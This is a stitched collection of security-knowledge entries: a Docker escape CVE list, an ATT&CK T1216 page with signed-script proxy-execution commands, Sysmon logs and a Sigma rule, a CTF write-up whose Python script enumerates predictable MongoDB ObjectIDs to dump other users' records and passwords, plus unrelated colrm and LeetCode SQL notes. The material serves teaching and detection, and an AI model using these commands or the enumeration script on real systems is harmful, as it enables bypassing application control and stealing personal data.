title: Docker 逃逸漏洞汇总
---
<center><h1>Docker 逃逸漏洞汇总</h1></center>
---
Docker 的安全风险主要还是集中在逃逸这块儿,下面是我总结的 Docker 逃逸漏洞,文库中将不断补全这块的漏洞复现文章。
## 1、Docker 自身漏洞
- cve-2017-1002101
- cve-2018-1002100
- cve-2018-15664 符号链接替换漏洞
- cve-2019-14271 加载不受信任的动态链接库
- cve-2019-1002101
- cve-2019-11246
- cve-2019-11249
- cve-2019-11251
- cve-2019-16884
- cve-2019-5736 runc 逃逸
- cve-2020-15257
- cve-2020-27151
- kata-escape-2020
- cve-2021-25741
- cve-2021-30465
- cve-2022-0492
## 2、内核漏洞
- cve-2016-5195 DirtyCow
- cve-2017-1000112
- cve-2020-14386
- cve-2021-22555
- cve-2022-0847 DirtyPipe
## 3、不安全的配置
- privileged-container
- mount-docker-sock
- mount-host-etc
- mount-host-procfs
- mount-var-log
- cap_dac_read_search-container
- cap_sys_admin-container
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
# T1216-win-签名脚本代理执行
## 来自ATT&CK的描述
攻击者可能使用用可信证书签署的脚本来代理执行恶意文件。在Windows安装中默认的几个微软签名脚本可以用来代理执行其他文件。这种行为可能被攻击者滥用来执行恶意文件,从而绕过系统的应用控制和签名验证。
## 测试案例
### 测试1 SyncAppvPublishingServer Signed Script PowerShell Command Execution
执行已签名的SyncAppvPublishingServer脚本,并带有执行任意PowerShell命令的选项。执行后,calc.exe将被启动。
攻击命令,无需权限提升,Windows命令行执行即可。
```
C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"
```
command_to_execute:Start-Process calc
### 测试2 manage-bde.wsf Signed Script Command Execution
manage-bde.wsf 签名脚本命令执行,并带有执行任意命令的选项。
```
set comspec=#{command_to_execute}
cscript %windir%\System32\manage-bde.wsf
```
command_to_execute:%windir%\System32\calc.exe
清理命令
```
set comspec=%windir%\System32\cmd.exe
```
## 检测日志
Windows 安全日志、Sysmon日志
## 测试复现
### 测试1 SyncAppvPublishingServer Signed Script PowerShell Command Execution
```
C:\Users\Administrator.ZHULI>C:\windows\system32\SyncAppvPublishingServer.vbs "\n;Start-Process calc"
```
### 测试2 manage-bde.wsf Signed Script Command Execution
```
set comspec=%windir%\System32\calc.exe
cscript %windir%\System32\manage-bde.wsf
```
未复现成功,缺少manage-bde.wsf文件,下载了github上的文件,但是提示异常。
```
C:\Users\Administrator.ZHULI>cscript %windir%\System32\manage-bde.wsf
Microsoft (R) Windows Script Host Version 5.812
版权所有(C) Microsoft Corporation。保留所有权利。
C:\Windows\System32\manage-bde.wsf(19, 38) Windows Script Host: 无效实体引用
```
manage-bde.wsf文件参考地址:<https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712>
## 测试留痕
### 测试1 SyncAppvPublishingServer Signed Script PowerShell Command Execution
```
Process Create:
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-01-11 08:32:36.816
ProcessGuid: {78c84c47-40a4-61dd-5325-000000000800}
ProcessId: 5680
Image: C:\Windows\System32\wscript.exe
FileVersion: 5.812.10240.16384
Description: Microsoft
Product: Microsoft ® Windows Script Host
Company: Microsoft Corporation
OriginalFileName: wscript.exe
CommandLine: "C:\Windows\System32\WScript.exe" "C:\windows\system32\SyncAppvPublishingServer.vbs" "\n;Start-Process calc"
CurrentDirectory: C:\Users\Administrator.ZHULI\
User: ZHULI\Administrator
LogonGuid: {78c84c47-f665-61db-95da-440100000000}
LogonId: 0x144DA95
TerminalSessionId: 3
IntegrityLevel: High
Hashes: SHA1=267D05CE8D10D97620BE1C7773757668BAEB19EE,MD5=F5E5DF6C9D62F4E940B334954A2046FC,SHA256=47CACD60D91441137D055184614B1A418C0457992977857A76CA05C75BBC1B56,IMPHASH=0F71D5F6F4CBB935CE1B09754102419C
ParentProcessGuid: {78c84c47-3fbf-61dd-2225-000000000800}
ParentProcessId: 1120
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: ZHULI\Administrator
```
```
Process Create:
RuleName: technique_id=T1086,technique_name=PowerShell
UtcTime: 2022-01-11 08:32:36.965
ProcessGuid: {78c84c47-40a4-61dd-5425-000000000800}
ProcessId: 5412
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Windows PowerShell
Product: Microsoft® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \n;Start-Process calc}
CurrentDirectory: C:\Users\Administrator.ZHULI\
User: ZHULI\Administrator
LogonGuid: {78c84c47-f665-61db-95da-440100000000}
LogonId: 0x144DA95
TerminalSessionId: 3
IntegrityLevel: High
Hashes: SHA1=6CBCE4A295C163791B60FC23D285E6D84F28EE4C,MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F
ParentProcessGuid: {78c84c47-40a4-61dd-5325-000000000800}
ParentProcessId: 5680
ParentImage: C:\Windows\System32\wscript.exe
ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\windows\system32\SyncAppvPublishingServer.vbs" "\n;Start-Process calc"
ParentUser: ZHULI\Administrator
```
## 检测规则/思路
### Sigma规则
```yml
title: 使用SyncAppvPublishingServe脚本绕过检测
status: experimental
author: 12306Br0
date: 2022/01/11
references:
- attack.t1216
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1 #sysmon日志,进程创建
CommandLine:
- '*\SyncAppvPublishingServer.vbs' #进程命令行
- 'Start-Process'
condition: selection
level: low
```
### 建议
监视脚本进程,例如`cscript`,以及脚本的命令行参数,例如可用于代理恶意文件执行的PubPrn.vbs。
## 相关TIP
[[T1216-001-win-签名脚本代理执行-PubPrn]]
## 参考推荐
MITRE-ATT&CK-T1216
<https://attack.mitre.org/techniques/T1216/>
Atomic-red-team-T1216
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1216/T1216.md>
manage-bde.wsf文件参考地址
<https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712>
|
sec-knowleage
|
colrm
===
删除文件中的指定列
## 补充说明
**colrm命令** 用于删除文件中的指定列。colrm命令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则colrm命令不会过滤任何一行。
### 语法
```shell
colrm(参数)
```
### 参数
* 起始列号:指定要删除的指定列;
* 结尾列号:指定要删除的结尾列。
|
sec-knowleage
|
# Google CTF - Beginner's Quest (2018)
> Cakes... Throughout history they are long promised, not often delivered. Are they real?
>
> Are they fabrications of an internal system long designed to tease and tempt you with promises of sweet confectionary goodness that will satisfy and delight? Or the realistic truth of the matter. A dark conspiracy involving many clandestine organisations that want to create content and context around the very existence of this delicacy.
>
> Your task, uncover the truth, find the cake and show it to the world. Set the truth free.
>
> You do not have to start this undermining of the Cake-World-Order (cWo) without any information. Our informants deep in the field (some no longer with us), have passed on intel about an operative within the cWo known as Wintermuted. Their home is a mess of old technologies, poor Operational Security (Op-Sec) and Internet of Things (IoT) devices that haven't seen updates in decades, despite being released last year. Start with their rubbish bin! Surely there is a letter or toothpaste tube there with some information that'll get you on the inside.
>
> Your goal is to get the cake in the fridge... Where else would you put cake in your smart home?
Various writeups for the 2018 Google CTF Beginner's Quest.
My path to the cake:

|
sec-knowleage
|
# HR Agency
* Category: Web
* 250 Points
* Solved by the JCTF Team
## Description
> Welcome to the HR agency!
>
> You can updates your bio and personal details by the following link and credentials:
>
> URL: https://hragency.appsecil.ctf.today/
>
> Email: paula74@hunter-harris.net
>
> Password: x!k_856hBM
>
> Note: please don’t set your private used password, there are hackers that leaking our data.
## Hint
> NoSQL objectifying people!
## Solution
Using the provided credentials, we can login to an HR system which contains several personal details (Name, email, etc.).
The sources contain the following logic for personal information retrieval:
```javascript
fetch("/api/getUserDetails", {
method: 'post',
body: JSON.stringify({"user_id":getCookie("user_id")}),
})
.then(res => res.json()).then(function(res) {
if(!res.isSuccess) {
$("#response").html(`<div class="alert alert-danger" role="alert">${res.errorMessage}</div>`)
return
}
$("#firstName").val(res.first_name)
$("#lastName").val(res.last_name)
$("#email").val(res.email)
$("#company").val(res.company)
$("#job").val(res.job)
$("#phone_number").val(res.phone_number)
$("#address").val(res.address)
$("#about").html(res.about)
});
document.querySelector('form').addEventListener('submit', event => {
event.preventDefault();
$("#response").html(`<div class="alert alert-danger" role="alert">Currently unavailable!</div>`)
});
```
When logging in, the server sets two cookies:
```console
root@kali:/media/sf_CTFs/appsec/HR_Agency# curl 'https://hragency.appsecil.ctf.today/api/login' --data-raw '{"email":"paula74@hunter-harris.net","password":"x!k_856hBM"}' -q -v 2>&1 | grep cookie
< set-cookie: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6InBhdWxhNzRAaHVudGVyLWhhcnJpcy5uZXQifQ.Z1izJjkHOFq2XTf3xLDApb73S3EtywfZKVUvfEIoq3A; Path=/; SameSite=lax
< set-cookie: user_id=5f8b2e54a5b8134d764f65a8; Path=/; SameSite=lax
```
The first one is a JWT with the user email:
```console
root@kali:/media/sf_CTFs/appsec/HR_Agency# python3 ~/utils/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlbWFpbCI6InBhdWxhNzRAaHVudGVyLWhhcnJpcy5uZXQifQ.Z1izJjkHOFq2XTf3xLDApb73S3EtywfZKVUvfEIoq3A
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.0 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "HS256"
Token payload values:
[+] email = "paula74@hunter-harris.net"
```
The second is a user-id. Using the user-id, we can query `/api/getUserDetails` and get the personal details of the user.
We tried many things for this challenge - attacking the token, injections, etc. but with no success. At some point, after no one was able to solve the challenge, a hint was released:
> NoSQL objectifying people!
This hint sent us again towards NoSQL injection, but nothing seemed to work. At last, we realized that "objectifying" was pointing us towards the user-id, which in fact looks like a [MongoDB ObjectID](https://docs.mongodb.com/manual/reference/method/ObjectId/):
> * a 4-byte timestamp value, representing the ObjectId’s creation, measured in seconds since the Unix epoch
> * a 3-byte machine identifier
> * a 2-byte process id
> * a 3-byte counter, starting with a random value
Although there is some randomness in the object ID definition, it is quite predictable, especially if you already know a certain object ID. In our case, we have our own user-id, allowing us to easily try and guess other user-IDs.
We can use the [mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) Python library for this, and script it all with the following script:
```python
from mongo_objectid_predict import predict
import requests
s = requests.Session()
s.post("https://hragency.appsecil.ctf.today/api/login", json = {"email":"paula74@hunter-harris.net", "password":"x!k_856hBM"})
print ("Base User ID: {}".format(s.cookies['user_id']))
print("-" * 30)
for objectid in predict(base = s.cookies["user_id"],
backward = True,
counter_diff = 100):
r = s.post("https://hragency.appsecil.ctf.today/api/getUserDetails", json={"user_id": objectid})
response = r.json()
if response["isSuccess"]:
print("User ID: {}".format(objectid))
print(response)
print("-" * 30)
if "AppSec-IL" in r.text:
print ("Found flag!")
break
```
Output:
```console
root@kali:/media/sf_CTFs/appsec/HR_Agency# python solve.py
Base User ID: 5f8b2e54a5b8134d764f65a8
------------------------------
User ID: 5f8b2e53a5b8134d764f65a7
{u'phone_number': u'6193305363', u'about': u'Together safe factor then five experience technology.\nDiscuss far start myself. Bag event for in data. Knowledge hard thought bring.', u'last_name': u'White', u'company': u'Townsend-Wells', u'first_name': u'Travis', u'isSuccess': True, u'job': u'Microbiologist', u'address': u'7630 Tara Prairie\nThomasfurt, AK 25300', u'password': u'_s3C^o^b88', u'email': u'waynepage@hotmail.com'}
------------------------------
User ID: 5f8b2e52a5b8134d764f65a6
{u'phone_number': u'398-795-9615x93405', u'about': u'His third win do. Maintain music million see concern region section.\nWould like participant young Mr see. You would dog reduce certainly space against.', u'last_name': u'Reed', u'company': u'Hawkins-Blake', u'first_name': u'Alec', u'isSuccess': True, u'job': u'Engineer, aeronautical', u'address': u'062 Natalie Fields Suite 186\nAndersonbury, WY 52085', u'password': u'k%Fd8EswVM', u'email': u'fholmes@martinez.com'}
------------------------------
User ID: 5f8b2e51a5b8134d764f65a5
{u'phone_number': u'(365)469-7243', u'about': u'Me partner question quite church political every. Range value should east as agent. Through during growth boy nation.\nEight feeling sea learn child whom. Town charge more a professor later.', u'last_name': u'Miller', u'company': u'Delgado, Lewis and Blankenship', u'first_name': u'Francisco', u'isSuccess': True, u'job': u'Chief of Staff', u'address': u'1312 Roger Parks Suite 615\nKochmouth, VT 15163', u'password': u'FV3$t6Irn)', u'email': u'rhobbs@martinez.info'}
------------------------------
User ID: 5f8b2e50a5b8134d764f65a4
{u'phone_number': u'+1-850-328-6198x862', u'about': u'Share art author section ahead travel once. Note themselves bad cell federal development.\nEverything wear large if official. Stage result trade democratic so course school.', u'last_name': u'Fisher', u'company': u'Williams, Burnett and Johnson', u'first_name': u'Dillon', u'isSuccess': True, u'job': u'Network engineer', u'address': u'733 Hawkins Land Suite 694\nCarlsonland, VA 28474', u'password': u'eH9IaHHpS&', u'email': u'antoniomitchell@estrada.com'}
------------------------------
User ID: 5f8b2e4fa5b8134d764f65a3
{u'phone_number': u'378.908.0361x04988', u'about': u'Prepare safe life over life wonder. Develop he raise head. Growth return truth.\nProcess huge chair candidate.', u'last_name': u'White', u'company': u'Woodward Group', u'first_name': u'Eric', u'isSuccess': True, u'job': u'Acupuncturist', u'address': u'95640 Little Viaduct Suite 578\nRodriguezmouth, AL 12988', u'password': u'+6)Ebyu^J(', u'email': u'johnspencer@gmail.com'}
------------------------------
User ID: 5f8b2e4ea5b8134d764f65a2
{u'phone_number': u'441-684-2040x5536', u'about': u'Any figure paper analysis recently if. Matter decide church both citizen. Together wide himself amount argue cover push.', u'last_name': u'Parker', u'company': u'Riley-Rojas', u'first_name': u'Marc', u'isSuccess': True, u'job': u'Freight forwarder', u'address': u'2415 Brian Vista\nNew Ariana, AK 53361', u'password': u'ht+028UpAk', u'email': u'richardcochran@alvarado.com'}
------------------------------
User ID: 5f8b2e4da5b8134d764f65a1
{u'phone_number': u'555-447-1033x091', u'about': u'Cause kid serve figure game. Miss set century to serious.\nReason high thought anything newspaper alone culture. Most buy spring possible guy point. Degree do material life almost occur claim.', u'last_name': u'Blanchard', u'company': u'Fowler Ltd', u'first_name': u'Brittany', u'isSuccess': True, u'job': u'Osteopath', u'address': u'2007 Karen Oval Suite 835\nGarciaberg, WY 53327', u'password': u'!2RJRIwAsN', u'email': u'xanderson@combs.com'}
------------------------------
User ID: 5f8b2e4ba5b8134d764f65a0
{u'phone_number': u'863.990.6911x6105', u'about': u'Establish type church manage assume recently beyond. Heavy detail red forward. Couple least someone young stock attack word.', u'last_name': u'Walker', u'company': u'Cooper Ltd', u'first_name': u'Caitlin', u'isSuccess': True, u'job': u'Development worker, international aid', u'address': u'9368 Maxwell Underpass\nNorth Paigefort, AZ 89000', u'password': u'eiUYN9Vl_8', u'email': u'lawrencedavid@yahoo.com'}
------------------------------
User ID: 5f8b2e4aa5b8134d764f659f
{u'phone_number': u'001-234-777-7718x82735', u'about': u'Great thousand thus however Congress themselves reality after. Money system movie blue. Local movie want our.\nAccount own prevent fear. Note investment class say increase. Free him course.', u'last_name': u'Stokes', u'company': u'Parks, Orr and Jones', u'first_name': u'Edward', u'isSuccess': True, u'job': u'Conservation officer, historic buildings', u'address': u'08370 Smith Oval Suite 752\nPort Amy, RI 56164', u'password': u'*FPi(Q9BL8', u'email': u'hkirk@hotmail.com'}
------------------------------
User ID: 5f8b2e49a5b8134d764f659e
{u'phone_number': u'(414)365-8127x9728', u'about': u'Try likely what happen meeting. Instead true within provide they service. Move detail might beautiful often myself represent.', u'last_name': u'White', u'company': u'Aguilar, Mosley and Madden', u'first_name': u'Jessica', u'isSuccess': True, u'job': u'Therapist, horticultural', u'address': u'26995 Kristen Crossing Suite 657\nBowersberg, WY 50637', u'password': u'^lcDi9ush0', u'email': u'ethomas@gmail.com'}
------------------------------
User ID: 5f8b2e48a5b8134d764f659d
{u'phone_number': u'9849489192', u'about': u'Per word industry hand positive hot threat focus. Present away those speech nor.', u'last_name': u'Terry', u'company': u'Gonzalez, Garcia and Costa', u'first_name': u'Susan', u'isSuccess': True, u'job': u'Event organiser', u'address': u'165 Jackson Alley Suite 839\nAndrewport, NH 22881', u'password': u')OvK9sXhCc', u'email': u'asmith@mullins.net'}
------------------------------
User ID: 5f8b2e47a5b8134d764f659c
{u'phone_number': u'106.445.2030x06913', u'about': u'Suffer institution tax eat player. Hot although former technology five manage glass. Between reach stage according special must.', u'last_name': u'Garrett', u'company': u'Vasquez and Sons', u'first_name': u'Ryan', u'isSuccess': True, u'job': u'Quarry manager', u'address': u'297 Buckley Bypass Suite 314\nMaynardborough, UT 30237', u'password': u'n3#WIk!V+P', u'email': u'stacybrock@hotmail.com'}
------------------------------
User ID: 5f8b2e46a5b8134d764f659b
{u'phone_number': u'+1-336-454-5912', u'about': u'According throw sing. Stock quickly toward significant side into. Leader must approach collection entire.', u'last_name': u'Mayer', u'company': u'Solomon, Montoya and Jones', u'first_name': u'Louis', u'isSuccess': True, u'job': u'Community development worker', u'address': u'44794 Gerald Keys Suite 426\nLake Christopher, AZ 15437', u'password': u')t(Uf%*G4y', u'email': u'wesleynorris@gmail.com'}
------------------------------
User ID: 5f8b2e45a5b8134d764f659a
{u'phone_number': u'774-940-7657x0151', u'about': u'Various know office. Who sing suggest prepare painting necessary.\nStudent year matter skin improve she travel manager. Nearly dinner across class certainly not. Office customer show ability world.', u'last_name': u'Galvan', u'company': u'Dawson-Sutton', u'first_name': u'Julie', u'isSuccess': True, u'job': u'Waste management officer', u'address': u'44548 Rivera Port\nEast Benjamintown, MT 92210', u'password': u'SUQc$k2Z%3', u'email': u'tallen@rose.com'}
------------------------------
User ID: 5f8b2e44a5b8134d764f6599
{u'phone_number': u'183.623.6344', u'about': u'Decade both perform building. Population record deep administration.\nFor sure by article suggest support listen special. Leader person admit. Whom then something for my better.', u'last_name': u'Jimenez', u'company': u'Golden LLC', u'first_name': u'Paul', u'isSuccess': True, u'job': u'Energy manager', u'address': u'14921 Michael Falls Apt. 249\nLake Dawn, UT 58368', u'password': u'%iwQyi$4n6', u'email': u'annajohnson@yahoo.com'}
------------------------------
User ID: 5f8b2e43a5b8134d764f6598
{u'phone_number': u'179.704.2644x4744', u'about': u'Book class change bit ever by level.\nTerm cold speak gas color. Unit hour player seat. Artist where city police worker blood strategy.', u'last_name': u'Patterson', u'company': u'Jensen-Cooper', u'first_name': u'Mark', u'isSuccess': True, u'job': u'Multimedia programmer', u'address': u'214 White Park Apt. 896\nLake Sarah, PA 01123', u'password': u'*q4WCgFwsr', u'email': u'grios@hotmail.com'}
------------------------------
User ID: 5f8b2e42a5b8134d764f6597
{u'phone_number': u'+1-570-153-1451', u'about': u'Century traditional much music. Cause most even attack about design believe.', u'last_name': u'Simmons', u'company': u'Moreno Group', u'first_name': u'Greg', u'isSuccess': True, u'job': u'Therapist, art', u'address': u'05710 Tyler Road\nLake Matthew, TX 26468', u'password': u'+tm0iX)&Y)', u'email': u'sharon75@roach.com'}
------------------------------
User ID: 5f8b2e41a5b8134d764f6596
{u'phone_number': u'953-324-8463', u'about': u'Trip daughter mother. Side picture person father step left. Kind bed game project offer.\nContain serious job.', u'last_name': u'Harrell', u'company': u'Stevens-White', u'first_name': u'Sarah', u'isSuccess': True, u'job': u'Occupational hygienist', u'address': u'069 Reeves Ridge\nNew Lindatown, SD 35807', u'password': u'!hEjcyqk2M', u'email': u'austinchristopher@gmail.com'}
------------------------------
User ID: 5f8b2e40a5b8134d764f6595
{u'phone_number': u'(010)918-7788x1793', u'about': u'Friend entire sport stop method pull speech. Level idea American many item though choose support. But carry they.', u'last_name': u'Boyd', u'company': u'Walters-Harris', u'first_name': u'Gregory', u'isSuccess': True, u'job': u'Radiographer, therapeutic', u'address': u'708 Moore Trafficway Apt. 601\nWest Travis, SD 85948', u'password': u'VN2uivNk$3', u'email': u'simonann@hotmail.com'}
------------------------------
User ID: 5f8b2e40a5b8134d764f6594
{u'phone_number': u'+972123456', u'about': u'Nimrod Levy is a seasoned security researcher with over a decade of experience in the field of web application penetration testing and infrastructure attack simulations (i.e Red Team).', u'last_name': u'Levy', u'company': u'SCORPIONES LTD', u'first_name': u'Nimrod', u'isSuccess': True, u'job': u'CTO, Co-Founder', u'address': u'WHERE?', u'password': u'AppSec-IL{M0ng0DB0bjectIdIsPr3d1ct4bl3!}', u'email': u'El3ct71k@Gmail.com'}
------------------------------
Found flag!
```
The flag: `AppSec-IL{M0ng0DB0bjectIdIsPr3d1ct4bl3!}`
|
sec-knowleage
|
# SQL 练习
<!-- GFM-TOC -->
* [SQL 练习](#sql-练习)
* [595. Big Countries](#595-big-countries)
* [627. Swap Salary](#627-swap-salary)
* [620. Not Boring Movies](#620-not-boring-movies)
* [596. Classes More Than 5 Students](#596-classes-more-than-5-students)
* [182. Duplicate Emails](#182-duplicate-emails)
* [196. Delete Duplicate Emails](#196-delete-duplicate-emails)
* [175. Combine Two Tables](#175-combine-two-tables)
* [181. Employees Earning More Than Their Managers](#181-employees-earning-more-than-their-managers)
* [183. Customers Who Never Order](#183-customers-who-never-order)
* [184. Department Highest Salary](#184-department-highest-salary)
* [176. Second Highest Salary](#176-second-highest-salary)
* [177. Nth Highest Salary](#177-nth-highest-salary)
* [178. Rank Scores](#178-rank-scores)
* [180. Consecutive Numbers](#180-consecutive-numbers)
* [626. Exchange Seats](#626-exchange-seats)
<!-- GFM-TOC -->
## 595. Big Countries
https://leetcode.com/problems/big-countries/description/
### Description
```html
+-----------------+------------+------------+--------------+---------------+
| name | continent | area | population | gdp |
+-----------------+------------+------------+--------------+---------------+
| Afghanistan | Asia | 652230 | 25500100 | 20343000 |
| Albania | Europe | 28748 | 2831741 | 12960000 |
| Algeria | Africa | 2381741 | 37100000 | 188681000 |
| Andorra | Europe | 468 | 78115 | 3712000 |
| Angola | Africa | 1246700 | 20609294 | 100990000 |
+-----------------+------------+------------+--------------+---------------+
```
查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。
```html
+--------------+-------------+--------------+
| name | population | area |
+--------------+-------------+--------------+
| Afghanistan | 25500100 | 652230 |
| Algeria | 37100000 | 2381741 |
+--------------+-------------+--------------+
```
### Solution
```sql
SELECT name,
population,
area
FROM
World
WHERE
area > 3000000
OR population > 25000000;
```
### SQL Schema
SQL Schema 用于在本地环境下创建表结构并导入数据,从而方便在本地环境调试。
```sql
DROP TABLE
IF
EXISTS World;
CREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );
INSERT INTO World ( NAME, continent, area, population, gdp )
VALUES
( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),
( 'Albania', 'Europe', '28748', '2831741', '129600000' ),
( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),
( 'Andorra', 'Europe', '468', '78115', '37120000' ),
( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );
```
## 627. Swap Salary
https://leetcode.com/problems/swap-salary/description/
### Description
```html
| id | name | sex | salary |
|----|------|-----|--------|
| 1 | A | m | 2500 |
| 2 | B | f | 1500 |
| 3 | C | m | 5500 |
| 4 | D | f | 500 |
```
只用一个 SQL 查询,将 sex 字段反转。
```html
| id | name | sex | salary |
|----|------|-----|--------|
| 1 | A | f | 2500 |
| 2 | B | m | 1500 |
| 3 | C | f | 5500 |
| 4 | D | m | 500 |
```
### Solution
两个相等的数异或的结果为 0,而 0 与任何一个数异或的结果为这个数。
sex 字段只有两个取值:'f' 和 'm',并且有以下规律:
```
'f' ^ ('m' ^ 'f') = 'm' ^ ('f' ^ 'f') = 'm'
'm' ^ ('m' ^ 'f') = 'f' ^ ('m' ^ 'm') = 'f'
```
因此将 sex 字段和 'm' ^ 'f' 进行异或操作,最后就能反转 sex 字段。
```sql
UPDATE salary
SET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS salary;
CREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );
INSERT INTO salary ( id, NAME, sex, salary )
VALUES
( '1', 'A', 'm', '2500' ),
( '2', 'B', 'f', '1500' ),
( '3', 'C', 'm', '5500' ),
( '4', 'D', 'f', '500' );
```
## 620. Not Boring Movies
https://leetcode.com/problems/not-boring-movies/description/
### Description
```html
+---------+-----------+--------------+-----------+
| id | movie | description | rating |
+---------+-----------+--------------+-----------+
| 1 | War | great 3D | 8.9 |
| 2 | Science | fiction | 8.5 |
| 3 | irish | boring | 6.2 |
| 4 | Ice song | Fantacy | 8.6 |
| 5 | House card| Interesting| 9.1 |
+---------+-----------+--------------+-----------+
```
查找 id 为奇数,并且 description 不是 boring 的电影,按 rating 降序。
```html
+---------+-----------+--------------+-----------+
| id | movie | description | rating |
+---------+-----------+--------------+-----------+
| 5 | House card| Interesting| 9.1 |
| 1 | War | great 3D | 8.9 |
+---------+-----------+--------------+-----------+
```
### Solution
```sql
SELECT
*
FROM
cinema
WHERE
id % 2 = 1
AND description != 'boring'
ORDER BY
rating DESC;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS cinema;
CREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );
INSERT INTO cinema ( id, movie, description, rating )
VALUES
( 1, 'War', 'great 3D', 8.9 ),
( 2, 'Science', 'fiction', 8.5 ),
( 3, 'irish', 'boring', 6.2 ),
( 4, 'Ice song', 'Fantacy', 8.6 ),
( 5, 'House card', 'Interesting', 9.1 );
```
## 596. Classes More Than 5 Students
https://leetcode.com/problems/classes-more-than-5-students/description/
### Description
```html
+---------+------------+
| student | class |
+---------+------------+
| A | Math |
| B | English |
| C | Math |
| D | Biology |
| E | Math |
| F | Computer |
| G | Math |
| H | Math |
| I | Math |
+---------+------------+
```
查找有五名及以上 student 的 class。
```html
+---------+
| class |
+---------+
| Math |
+---------+
```
### Solution
对 class 列进行分组之后,再使用 count 汇总函数统计每个分组的记录个数,之后使用 HAVING 进行筛选。HAVING 针对分组进行筛选,而 WHERE 针对每个记录(行)进行筛选。
```sql
SELECT
class
FROM
courses
GROUP BY
class
HAVING
count( DISTINCT student ) >= 5;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS courses;
CREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );
INSERT INTO courses ( student, class )
VALUES
( 'A', 'Math' ),
( 'B', 'English' ),
( 'C', 'Math' ),
( 'D', 'Biology' ),
( 'E', 'Math' ),
( 'F', 'Computer' ),
( 'G', 'Math' ),
( 'H', 'Math' ),
( 'I', 'Math' );
```
## 182. Duplicate Emails
https://leetcode.com/problems/duplicate-emails/description/
### Description
邮件地址表:
```html
+----+---------+
| Id | Email |
+----+---------+
| 1 | a@b.com |
| 2 | c@d.com |
| 3 | a@b.com |
+----+---------+
```
查找重复的邮件地址:
```html
+---------+
| Email |
+---------+
| a@b.com |
+---------+
```
### Solution
对 Email 进行分组,如果并使用 COUNT 进行计数统计,结果大于等于 2 的表示 Email 重复。
```sql
SELECT
Email
FROM
Person
GROUP BY
Email
HAVING
COUNT( * ) >= 2;
```
### SQL Schema
```sql
DROP TABLE
IF
EXISTS Person;
CREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );
INSERT INTO Person ( Id, Email )
VALUES
( 1, 'a@b.com' ),
( 2, 'c@d.com' ),
( 3, 'a@b.com' );
```
## 196. Delete Duplicate Emails
https://leetcode.com/problems/delete-duplicate-emails/description/
### Description
邮件地址表:
```html
+----+---------+
| Id | Email |
+----+---------+
| 1 | john@example.com |
| 2 | bob@example.com |
| 3 | john@example.com |
+----+---------+
```
删除重复的邮件地址:
```html
+----+------------------+
| Id | Email |
+----+------------------+
| 1 | john@example.com |
| 2 | bob@example.com |
+----+------------------+
```
### Solution
只保留相同 Email 中 Id 最小的那一个,然后删除其它的。
连接查询:
```sql
DELETE p1
FROM
Person p1,
Person p2
WHERE
p1.Email = p2.Email
AND p1.Id > p2.Id
```
子查询:
```sql
DELETE
FROM
Person
WHERE
id NOT IN (
SELECT id
FROM (
SELECT min( id ) AS id
FROM Person
GROUP BY email
) AS m
);
```
应该注意的是上述解法额外嵌套了一个 SELECT 语句,如果不这么做,会出现错误:You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。
```sql
DELETE
FROM
Person
WHERE
id NOT IN (
SELECT min( id ) AS id
FROM Person
GROUP BY email
);
```
参考:[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)
### SQL Schema
与 182 相同。
## 175. Combine Two Tables
https://leetcode.com/problems/combine-two-tables/description/
### Description
Person 表:
```html
+-------------+---------+
| Column Name | Type |
+-------------+---------+
| PersonId | int |
| FirstName | varchar |
| LastName | varchar |
+-------------+---------+
PersonId is the primary key column for this table.
```
Address 表:
